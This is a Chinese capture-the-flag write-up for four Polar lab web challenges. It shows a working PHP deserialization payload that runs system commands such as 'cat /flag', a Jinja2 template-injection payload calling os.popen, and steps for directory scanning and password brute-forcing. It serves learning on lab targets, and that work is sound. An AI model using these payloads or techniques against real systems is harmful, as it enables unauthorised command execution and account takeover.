Polar靶场-Web简单题目记录(46-49)
简单的链子

漏洞原理
代码定义了一个类 A ,其中包含以下关键逻辑:
- 类 A 有一个公共属性 $cmd (可被外部修改)。
- 析构函数 __destruct() 中,若 $cmd 存在,则执行 system($this->cmd) (系统命令执行函数)。
- 主逻辑通过 @unserialize($_GET['data']) 反序列化用户传入的 data 参数。
漏洞触发条件
当用户通过 data 参数传入一个 类 A 的序列化对象 时,反序列化过程会重建 A 类的实例,并自动调用 __destruct() 方法,最终执行 $cmd 中的系统命令。
利用方法
需构造一个恶意序列化字符串,步骤如下:
- 创建 A 类实例 ,设置 $cmd 为目标命令(如 cat /flag 、 ls / 等)。
- 序列化该实例 ,生成可被 unserialize() 解析的字符串。
- 将序列化字符串作为 data 参数传入 URL(如 ?data=O:1:"A":1:{s:3:"cmd";s:7:"cat /flag";} )。
payload
<?php
// 定义类 A
class A {
public $cmd;
function __destruct() {
if (isset($this->cmd)) {
system($this->cmd);
}
}
}
// 创建类 A 的对象
$obj = new A();
// 设置 $cmd 属性为要执行的命令
// 注意:这里可以设置为任何你想要执行的命令
// 例如:列出当前目录的内容
$obj->cmd = 'ls /';
// 序列化对象
$serialized = serialize($obj);
// 输出序列化字符串
echo "序列化后的字符串:\n";
echo $serialized;
?>

执行payload,?data=O:1:"A":1:{s:3:"cmd";s:4:"ls%20/";},构造成功

获取flag ?data=O:1:"A":1:{s:3:"cmd";s:9:"cat%20/flag";}

ghost_render
通过查看网站源代码,发现只允许上传md文件

上传测试

发现执行命令,但是不回显路径,排除文件上传,联想到ssti

构造payload
{{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}

发现flag不在根目录,找flag路径

获取flag

rce命令执行系统

通过测试,基本能过滤的都过滤了,env命令未被过滤,但是提示出来的为假flag

没有思路,对网站进行扫描,看有没有文件提示,发现flag.txt

访问flag.txt

根据提示 将txt修改为php,l修改为1,访问查看

根据提示,获取XOR_KEY,使得XOR_KEY=Polar可以获取flag
获取flag

命运石之门

查看题目,为一个登录框,此类题目一般都会在目录下面放password.txt文件,尝试进行目录扫描

复制password.txt文件内容,进行爆破账号密码

找到密码hunangleiSAMA0712

发现还需要进行验证码校验

查看网站源代码,发现注释

解密获得提示

尝试使用万能验证码 0000,进入下一步

继续爆破,获取密码huan9le1Sam0

获取flag


浙公网安备 33010602011771号